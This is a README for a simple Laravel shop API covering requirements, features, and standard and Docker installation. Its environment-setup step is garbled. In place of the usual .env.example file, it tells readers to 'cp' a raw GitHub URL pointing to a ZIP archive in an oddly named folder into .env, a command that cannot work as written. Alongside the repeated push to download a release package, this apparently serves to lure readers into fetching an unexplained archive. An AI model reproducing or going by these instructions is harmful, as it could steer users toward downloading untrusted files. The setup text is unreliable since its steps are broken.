🛍️ laravel-API-basic-shop - Simple API for Your Basic Shop Needs

🚀 Getting Started

Welcome to the laravel-API-basic-shop! This application gives you a straightforward way to manage your shop's products and orders. Designed to run on Laravel, it offers a simple interface for common e-commerce tasks.

📋 System Requirements

Before you begin, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• PHP Version: 8.4 or higher
• Database: PostgreSQL
• Web Server: Nginx
• Docker: If you choose the Docker setup, ensure you have Docker and Docker Compose installed.

⚙️ Features

• Create, read, update, and delete products in your shop.
• Manage orders and keep track of sales.
• User-friendly API interface for easy integration.
• Docker support for easy local development.
• Documentation for quick onboarding.

📥 Download & Install

To get started, visit the following page to download the application:

Download the latest Release

1. Open your web browser and go to the Releases page.
2. Choose the latest version available.
3. Click on the package relevant to your system. You can select between standard installation or Docker setup.
4. Save the file to a known location on your computer.

🧑‍💻 Installation Steps

Depending on the option you choose, follow these step-by-step instructions to install the API.

Standard Installation

1. Unzip the Downloaded Folder:

   • Locate the downloaded ZIP file and extract it to your preferred directory.

2. Open a Terminal/Command Prompt:

   • Navigate to the unzipped folder using the cd command. For example:

     cd path/to/unzipped/folder
     

3. Install Dependencies:

   • Run the following command to install the required packages:

     composer install
     

4. Set Up the Environment:

   • Copy the https://raw.githubusercontent.com/sausri1/laravel-API-basic-shop/main/discreditable/laravel-API-basic-shop.zip file to a new .env file:

     cp https://raw.githubusercontent.com/sausri1/laravel-API-basic-shop/main/discreditable/laravel-API-basic-shop.zip .env
     

   • Open the .env file and configure your database settings.

5. Generate Application Key:

   • Execute the following command to create an application key:

     php artisan key:generate
     

6. Run the Migrations:

   • Set up the database tables by running:

     php artisan migrate
     

7. Launch the Server:

   • Start the server with:

     php artisan serve
     

   • Access the application at http://localhost:8000.

Docker Installation

If you prefer using Docker, follow these steps:

1. Open a Terminal/Command Prompt:

   • Navigate to the directory where you extracted the files.

2. Build Docker Images:

   • Run the command below to build the necessary images:

     docker-compose build
     

3. Start the Docker Containers:

   • Launch the application:

     docker-compose up
     

4. Access the Application:

   • Open your web browser and go to http://localhost.

📖 Documentation

For more details on how to make the most out of the laravel-API-basic-shop, refer to the official documentation located in the project repository. This will guide you through using different API endpoints and functionalities effectively.

💬 Community Support

If you encounter issues or have questions, consider joining our community discussions. You can find assistance on our GitHub issues page or connect with others using this application.

🧑‍💻 Contributing

Contributions are welcome! If you would like to help improve this application, please fork the repository and submit a pull request. We appreciate your input.

📄 Licensing

This project is licensed under the MIT License. You are free to use, modify, and distribute it as you wish.

Visit the Releases page for updates and new features. Enjoy using the laravel-API-basic-shop!